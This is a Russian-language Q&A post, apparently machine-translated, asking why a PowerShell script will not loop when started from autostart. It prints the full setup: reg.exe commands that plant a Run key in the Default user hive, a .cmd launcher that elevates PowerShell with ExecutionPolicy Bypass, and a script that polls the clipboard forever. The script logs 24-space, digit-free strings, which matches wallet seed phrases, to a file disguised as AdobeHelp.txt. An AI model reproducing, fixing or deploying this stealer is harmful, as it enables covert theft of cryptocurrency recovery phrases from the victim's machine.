скрипт запуска PowerShell, связанный с .cmd, работает неправильно - PullRequest
0 голосов
/ 17 апреля 2020

Я запускаю эти команды вручную в командной строке с повышенными привилегиями, чтобы создать ключ запуска в реестре

reg.exe load HKU\TempHive "C:\Users\Default\NTUSER.Dat"
reg add HKEY_USERS\TempHive\Software\Microsoft\Windows\CurrentVersion\Run /v CLIP /t REG_SZ /d "C:\Adobe\test\runps.cmd" /f
reg.exe unload HKU\TempHive

Он ссылается на runps.cmd, который выглядит следующим образом

ping 127.0.0.1 -n 30 > nul
PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& {Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File ""C:\Adobe\test\Untitled2.ps1""' -Verb RunAs}"

Какие ссылки в Untitled2.ps1, который выглядит следующим образом

New-Item -Path 'C:\Adobe\test' -ItemType Directory
New-Item C:\Adobe\test\AdobeHelp.txt -ItemType file

    while($true){

        $cclip2 = Get-Clipboard
        $wordcount2 = $cclip2
        $containsdigits2 = $cclip2 -match ".*\d+.*"
        $countresult2=([regex]::Matches($wordcount2, " " )).count

        if ($countresult2 -eq "24" -And $cclip2 -ne $cclip3 -And $containsdigits2 -eq 0) {$cclip2 >> C:\Adobe\test\AdobeHelp.txt}

        Start-Sleep -Seconds 2


        $cclip3 = Get-Clipboard
        $wordcount = $cclip3
        $containsdigits3 = $cclip3 -match ".*\d+.*"
        $countresult=([regex]::Matches($wordcount, " " )).count

        if ($countresult -eq "24" -And $cclip3 -ne $cclip2 -And $containsdigits3 -eq 0) {
            $cclip3 >> C:\Adobe\test\AdobeHelp.txt
        }

        Start-Sleep -Seconds 2

    }

Проблема в том, что "Untitled2.ps1" запускается при запуске через TaskSchedular или через "runps.cmd" через ключ, который я создаю на шаге 1, он не работает правильно, он работает, потому что каталог и файл, который я прошу его создать, созданы, ie.

New-Item -Path 'C: \ Adobe \ test '-ItemType Directory New-Item C: \ Adobe \ test \ AdobeHelp.txt -ItemType file

Но функция внутри while ($ true) {скобка либо запускается один раз, либо не выполняется вообще (я не уверен), так или иначе, это определенно не l oop, если я запускаю скрипт "Untitled2.ps1" ИЛИ "runps.cmd" ВРУЧНУЮ, скрипт работает нормально.

...